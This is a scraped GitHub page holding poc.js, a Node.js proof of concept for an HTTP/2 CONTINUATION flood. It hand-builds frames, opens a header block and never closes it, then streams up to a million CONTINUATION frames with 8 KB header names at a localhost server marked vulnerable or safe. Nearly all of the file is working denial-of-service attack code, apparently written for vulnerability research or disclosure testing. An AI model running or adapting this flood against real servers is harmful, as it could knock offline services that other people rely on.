-
Notifications
You must be signed in to change notification settings - Fork 0
/
poc.js
181 lines (164 loc) · 5.34 KB
/
poc.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
const net = require('net');
const tls = require('tls');
const hpack = require('hpack.js');
// Frame type definitions
const FRAME_TYPE_HEADERS = 1;
const FRAME_TYPE_RST_STREAM = 3;
const FRAME_TYPE_SETTINGS = 4;
const FRAME_TYPE_GOAWAY = 7;
const FRAME_TYPE_CONTINUATION = 9;
// Flag definitions
const FLAG_SETTINGS_ACK = 0x01;
const target = {port: 3392, protocol: 'http'}; // vuln
// const target = {port: 3393, protocol: 'https'}; // vuln
// const target = {port: 3394, protocol: 'http'}; // safe
// const target = {port: 3395, protocol: 'https'}; // safe
const mod = target.protocol === 'http' ? net : tls;
/**
* Function to construct a frame
* @param type {number}
* @param flags {number}
* @param streamId {number}
* @param payload {Buffer}
* @returns {Buffer}
*/
function buildFrame(type, flags, streamId, payload) {
const length = payload.length;
const header = Buffer.alloc(9);
header.writeUIntBE(length, 0, 3); // length and type
header.writeUInt8(type, 3); // length and type
header.writeUInt8(flags, 4); // flags
header.writeUInt32BE(streamId & 0x7FFFFFFF, 5); // stream ID
return Buffer.concat([header, payload]);
}
/**
* Binary encoding of the payload of the HEADERS frame
* @param headers {object}
* @returns {Buffer}
*/
function encodeHeaders(headers) {
// https://datatracker.ietf.org/doc/html/rfc7541
// 4.2
// In HTTP/2, this value is determined by the SETTINGS_HEADER_TABLE_SIZE setting (see Section 6.5.2 of [HTTP2]).
// https://datatracker.ietf.org/doc/html/rfc7540
// 6.5.2
// The initial value is 4,096 octets.
const comp = hpack.compressor.create({table: {size: 4096}});
comp.write(Object.keys(headers).map(name => ({name, value: headers[name]})));
return comp.read();
}
function attackOneConnection() {
return new Promise((resolve, reject) => {
let settingAckReceived = false;
let settingAckSend = false;
const port = target.port;
const socket = mod.connect(
{
host: 'localhost',
port,
ALPNProtocols: ['h2'],
rejectUnauthorized: false,
},
async () => {
console.log('Connected to the server.');
const connectionPreface = Buffer.from('PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n');
await send(connectionPreface);
// Send SETTINGS frame
const settingsFrame = buildFrame(FRAME_TYPE_SETTINGS, 0x00, 0x00, Buffer.alloc(0));
await send(settingsFrame);
while (!settingAckReceived || !settingAckSend) {
await new Promise(_res => setTimeout(_res, 100));
}
// Send HEADERS frame
const headerPayload = encodeHeaders({
':path': '/',
':method': 'GET',
':authority': `localhost:${port}`,
':scheme': target.protocol,
});
const headersFrame = buildFrame(FRAME_TYPE_HEADERS, 0x00, 0x01, headerPayload);
await send(headersFrame);
for (let i = 1; i <= 1000000; i++) {
if (i % 1000 === 0) {
console.log(i)
}
// Send CONTINUATION frame
const headerName = 'a'.repeat(8190) + i;
const contPayload = encodeHeaders({[headerName]: ''});
const contFrame = buildFrame(FRAME_TYPE_CONTINUATION, 0x00, 0x01, contPayload);
await send(contFrame);
await new Promise(_res => setTimeout(_res, 0));
}
}
);
/**
* Send data.
* @param data {Buffer}
* @returns {Promise<void>}
*/
function send(data) {
return new Promise((_res, _rej) => {
socket.write(data, err => {
if (err) {
_rej(err);
return;
}
_res();
});
});
}
/**
* Get frames.
* @param data {Buffer}
*/
function getFrames(data) {
const frames = [];
let offset = 0;
while (offset < data.byteLength) {
const length = data.readUInt32BE(offset) >> 8;
const type = data.readUInt8(offset + 3);
const flags = data.readUInt8(offset + 4);
const streamId = data.readUInt32BE(offset + 5) & 0x7FFFFFFF;
offset += 9;
let payload = Buffer.alloc(0);
if (length > 0) {
payload = data.subarray(offset, offset + length);
offset += length;
}
frames.push({type, flags, streamId, payload});
}
return frames;
}
socket.on('data', async data => {
const frames = getFrames(data);
for (const {type, flags} of frames) {
if (type === FRAME_TYPE_SETTINGS) {
if (flags === 0x00) {
// Reply with ACK for SETTINGS frame
const ackSettingsFrame = buildFrame(FRAME_TYPE_SETTINGS, FLAG_SETTINGS_ACK, 0x00, Buffer.alloc(0));
await send(ackSettingsFrame);
settingAckSend = true;
} else if (flags === 0x01) {
// Receive ACK for SETTINGS frame
settingAckReceived = true;
}
} else if (type === FRAME_TYPE_GOAWAY || type === FRAME_TYPE_RST_STREAM) {
socket.destroy();
break;
}
}
});
socket.on('error', error => {
console.error('An error occurred:', error);
reject(error);
});
socket.on('close', () => {
console.error('The connection was closed.');
resolve();
});
});
}
async function main() {
await attackOneConnection();
}
main();